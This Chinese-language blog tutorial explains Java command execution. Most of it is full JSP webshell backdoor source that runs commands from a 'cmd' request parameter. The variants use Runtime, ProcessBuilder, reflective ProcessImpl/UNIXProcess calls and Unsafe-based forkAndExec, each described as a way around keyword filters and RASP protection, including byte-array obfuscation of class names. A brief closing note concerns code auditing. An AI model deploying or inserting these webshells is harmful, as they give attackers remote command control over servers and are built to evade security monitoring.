Java基础:Java本地命令执行

文章发布时间:

最后更新时间:

文章总字数:
3.1k

预计阅读时间:
15 分钟

Java原生提供了对本地系统命令执行的支持,黑客通常会RCE利用漏洞或者WebShell来执行系统终端命令控制服务器的目的。本文主要探讨各种本地命令执行的方式。

Runtime命令执行

最基础最简单的java命令执行方法:Runtime.getRuntime().exec("cmd"),但是java的命令执行并不会进行主动回显,我们需要把回显读出来:

1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args) throws Exception {
String[] cmd = {"ls", "-al", "."};//由于空格截断的问题,最好不要直接用String
InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
InputStreamReader isr = new InputStreamReader(is, "UTF-8");
BufferedReader br = new BufferedReader(isr);
String line = br.readLine();
while (line != null){
System.out.println(line);
line = br.readLine();
}
}

https://blog.csdn.net/Xxy605/article/details/121349736

这篇文章里有常规命令执行的payload

JSP后门写法

Idea创建web项目访问jsp_web项目访问jsp页面_恶魔青叶的博客-CSDN博客

首先请参考这篇文章创建一个web项目,配置好tomcat服务器,运行时看到hello即成功。

接下来在webapp下创建一个backdoor.jsp,写入这行命令执行代码<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>,注意在jsp中写java代码需要用<%=%>包起来,这个时候可能会发现getParameter标红了,无法找到。这是因为缺少依赖,解决方法很简单,将tomcat中的lib包导入依赖即可,具体请参考下面这篇文章。

无法解析 JSP 中的方法 getParameter()_无法解析getparameter_federer111的博客-CSDN博客

image-20230901104756282

然后可以尝试写有回显的后门:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>backdoor</title>
</head>
<body>
<%
InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
InputStreamReader isr = new InputStreamReader(is, "UTF-8");
BufferedReader br = new BufferedReader(isr);
String line = br.readLine();
while (line != null){
System.out.println(line);
line = br.readLine();
}

%>

注意这里的多行java代码需要用<%%>包裹而不是单行的<%=%,另外还需要注意一个问题,java的命令执行并没有直接与shell交互,所以在执行命令的时候需要注意先获取再执行,win系统下cmd /c dir,linux系统下/bin/sh -c xxx

image-20230901113331257

反射Runtime命令执行

代码中出现runtime关键字很容易被拦截,我们可以采用byte数组转成字符串和反射来进行命令执行。

首先先获得需要的反射的类名的byte[]:

1
2
3
4
5
6
7
8
9
10
11
import java.util.Arrays;

public class execTest {

public static void main(String[] args) throws Exception {
String cmd = "java.lang.Runtime";
byte[] runtime = cmd.getBytes();
System.out.println(Arrays.toString(runtime));
}

}//[106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101]

然后利用字节码获取String避免出现runtime,并通过反射获得对象和方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>

<%
String str = request.getParameter("str");

// 定义"java.lang.Runtime"字符串变量
String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});

// 反射java.lang.Runtime类获取Class对象
Class<?> c = Class.forName(rt);

// 反射获取Runtime类的getRuntime方法
Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));

// 反射获取Runtime类的exec方法
Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);

// 反射调用Runtime.getRuntime().exec(xxx)方法
Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});

// 反射获取Process类的getInputStream方法
Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);

// 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : "";

// 输出命令执行结果
out.println(result);
%>

ProcessBuilder命令执行

跟踪一下exec方法是怎么执行命令的,可以看到经过几层包装,其实是传递给了ProcessBuilder来执行命令,具体如下图所示,new ProcessBuilder(cmdarray).start()。

image-20230901195308247

于是我们在Runtime被ban的情况下也可以使用ProcessBuilder来命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%
InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}

out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

UNIXProcess/ProcessImpl命令执行

其实Runtime命令执行完整的链子是这样的,从下往上:

1
2
3
4
5
6
java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
java.lang.ProcessImpl.start(ProcessImpl.java:134)
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
java.lang.Runtime.exec(Runtime.java:620)
java.lang.Runtime.exec(Runtime.java:450)
java.lang.Runtime.exec(Runtime.java:347)

最终执行命令的地方在UNIXProcess和ProcessImpl的native方法forkAndExec中,这两个可以理解为一个东西,因为他们在JDK9中合并了。

那么我们只需要直接调用UNIXProcess或ProcessImpl实现命令执行或者直接反射获取forkAndExec方法即可执行命令执行,可以绕过RASP(他们只防御到了ProcessBuilder),下面是jsp后门,这里需要注意Win系统和Unix内核系统的ProcessImpl/UNIXProcess构建7有所不同,故命令执行有不同的版本,但是原理还是一样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
// 反射UNIXProcess/ProcessImpl执行系统命令

// windows下反射ProcessImpl 调用start方法执行系统命令,start方法实质是创建了一个ProcessImpl的实例
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.ByteArrayOutputStream" %>

<%
String[] cmd = request.getParameterValues("cmd");
if (cmd != null) {
Class<?> clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
Process p = (Process) method.invoke(null, cmd, null, ".", null, true);
InputStream in = p.getInputStream();
byte[] b = new byte[1024];
int a = -1;
ByteArrayOutputStream baos = new ByteArrayOutputStream();

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
out.write("<p>" + baos.toString() + "</p>");
}
%>

// windows下反射ProcessImpl新建实例执行系统命令
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.ByteArrayOutputStream" %>

<%
String[] cmd = request.getParameterValues("cmd");
if (cmd != null) {
Class<?> clazz = Class.forName("java.lang.ProcessImpl");
Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Object object = constructor.newInstance(cmd, null, ".", new long[]{0}, true);
}
%>

// 类unix下反射UNIXProcess/ProcessImpl构造实例执行系统命令
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>

<%!
byte[] toCString(String s) {
if (s == null) {
return null;
}

byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0, result, 0, bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}

InputStream start(String[] strs) throws Exception {
// java.lang.UNIXProcess
String unixClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115});

// java.lang.ProcessImpl
String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108});

Class clazz = null;

// 反射创建UNIXProcess或者ProcessImpl
try {
clazz = Class.forName(unixClass);
} catch (ClassNotFoundException e) {
clazz = Class.forName(processClass);
}

// 获取UNIXProcess或者ProcessImpl的构造方法
Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);

assert strs != null && strs.length > 0;

// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] args = new byte[strs.length - 1][];

int size = args.length; // For added NUL bytes
for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}

byte[] argBlock = new byte[size];
int i = 0;

for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}

int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};

FileInputStream f0 = null;
FileOutputStream f1 = null;
FileOutputStream f2 = null;

// In theory, close() can throw IOException
// (although it is rather unlikely to happen here)
try {
if (f0 != null) f0.close();
} finally {
try {
if (f1 != null) f1.close();
} finally {
if (f2 != null) f2.close();
}
}

// 创建UNIXProcess或者ProcessImpl实例
Object object = constructor.newInstance(
toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
);

// 获取命令执行的InputStream
Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
inMethod.setAccessible(true);

return (InputStream) inMethod.invoke(object);
}

String inputStreamToString(InputStream in, String charset) throws IOException {
try {
if (charset == null) {
charset = "UTF-8";
}

ByteArrayOutputStream out = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];

while ((a = in.read(b)) != -1) {
out.write(b, 0, a);
}

return new String(out.toByteArray());
} catch (IOException e) {
throw e;
} finally {
if (in != null)
in.close();
}
}
%>
<%
String[] str = request.getParameterValues("cmd");

if (str != null) {
InputStream in = start(str);
String result = inputStreamToString(in, "UTF-8");
out.println("<pre>");
out.println(result);
out.println("</pre>");
out.flush();
out.close();
}
%>

之后可以总结一下日常需要用到的java方法(字节码转换,inputStream输出,命令执行等等),打成jar包,方便调用。

Unsafe获取UNIXProcess/ProcessImpl对象命令执行

这个方法其实就是上一个方法的进阶,如果把UNIXProcess/ProcessImpl类的构造方法拦截了,依然可以通过Unsafe创建对象来正常反射调用。

  1. 使用sun.misc.Unsafe.allocateInstance(Class)特性可以无需new或者newInstance创建UNIXProcess/ProcessImpl类对象。
  2. 反射UNIXProcess/ProcessImpl类的forkAndExec方法。
  3. 构造forkAndExec需要的参数并调用。
  4. 反射UNIXProcess/ProcessImpl类的initStreams方法初始化输入输出结果流对象。
  5. 反射UNIXProcess/ProcessImpl类的getInputStream方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。

其实就变了第一步,记得Unsafe对象也不能直接获取,需要反射获得theUnsafe字段的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.Unsafe" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}


%>
<%
String[] strs = request.getParameterValues("cmd");

if (strs != null) {
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

Class processClass = null;

try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}

Object processObject = unsafe.allocateInstance(processClass);

// Convert arguments to a contiguous block; it's easier to do
// memory management in Java than in C.
byte[][] args = new byte[strs.length - 1][];
int size = args.length; // For added NUL bytes

for (int i = 0; i < args.length; i++) {
args[i] = strs[i + 1].getBytes();
size += args[i].length;
}

byte[] argBlock = new byte[size];
int i = 0;

for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}

int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);

int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);

Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class
});

forkMethod.setAccessible(true);// 设置访问权限

int pid = (int) forkMethod.invoke(processObject, new Object[]{
ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
});

// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);

// 获取本地执行结果的输入流
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
int a = 0;
byte[] b = new byte[1024];

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}

out.println("<pre>");
out.println(baos.toString());
out.println("</pre>");
out.flush();
out.close();
}
%>

总结

代码审计阶段我们应该多搜索下Runtime.exec/ProcessBuilder/ProcessImpl等关键词,这样可以快速找出命令执行点。然后就可以往上寻找是否有调用链了。

本文通过分析exec的调用路径探讨了不同层级的命令执行方法,Runtime到ProcessBuilder到UNIXProcess/ProcessImpl,并且分析了如果检测某些方法,就可以使用字节码转字符串加反射来执行,另外如果不允许创建实例还可以通过Unsafe的allocateInstance来创建。同时学会了使用tomcat开服务访问jsp,以及jsp的基本语法和后门的编写。